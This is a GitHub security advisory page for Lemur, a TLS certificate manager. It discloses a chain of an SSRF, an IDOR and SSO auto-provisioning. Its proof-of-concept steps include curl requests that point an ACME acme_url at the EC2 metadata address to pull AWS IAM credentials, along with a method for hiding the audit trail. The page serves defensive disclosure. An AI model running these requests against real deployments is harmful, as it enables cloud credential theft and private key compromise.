GitHub Advisoryadvisory · PyPI

GHSA-v2wp-frmc-5q3v Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise

CRITICAL Published 2026-06-25 Modified 2026-06-25 Official page ↗
Aliases
CVE-2026-55166
Ecosystem
PyPI
Packages
lemur
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Weaknesses
CWE-285, CWE-639, CWE-918
Reviewed
2026-06-25

Affected packages

• PyPI lemur: < 1.9.2 → fixed in 1.9.2

Description

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR Vulnerability Summary Field | Value -- | -- Title | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR Component | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision) CWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization) Attack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar. Affected Versions | github.com/Netflix/lemur __version__ = "1.9.0" (see lemur/lemur/__about__.py) and every prior release that carries the same three sinks. Executive Summary A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report. Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf Description Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break. Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user. Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/&#x3C;role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker. Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key. Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing. Proof of Concept &#x26; Steps to Reproduce A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80. Prerequisites: Docker, curl, jq, openssl. Run cd lemur_pki_acme_ssrf_idor/ EXPLOIT_FAST=1 ./exploit_code.sh The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review. Step 1 — Authenticate via SSO (sink 1) curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roles":["operator"]}' Response (evidence/03_sso_provision_response.json): { "token": "eyJhbGciOiJIUzI1NiIs...", "user": { "active": true, "auto_provisioned": true, "email": "[email protected]", "id": 1, "roles": ["operator"] } } active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1. Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2) curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \ -H "Authorization: Bearer $ATTACKER_JWT" \ -H 'Content-Type: application/json' \ -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}' Response (evidence/04_ssrf_authority_response.json): { "acme_url": "http://169.254.169.254/latest/meta-data/iam/secur…

Related

Alias · CVE (1)

  • CVE-2026-55166 Lemur manages TLS certificate creation. vulnerability

Weakness · CWE (3)

  • CWE-285 Improper Authorization weakness
  • CWE-639 Authorization Bypass Through User-Controlled Key weakness
  • CWE-918 Server-Side Request Forgery weakness

References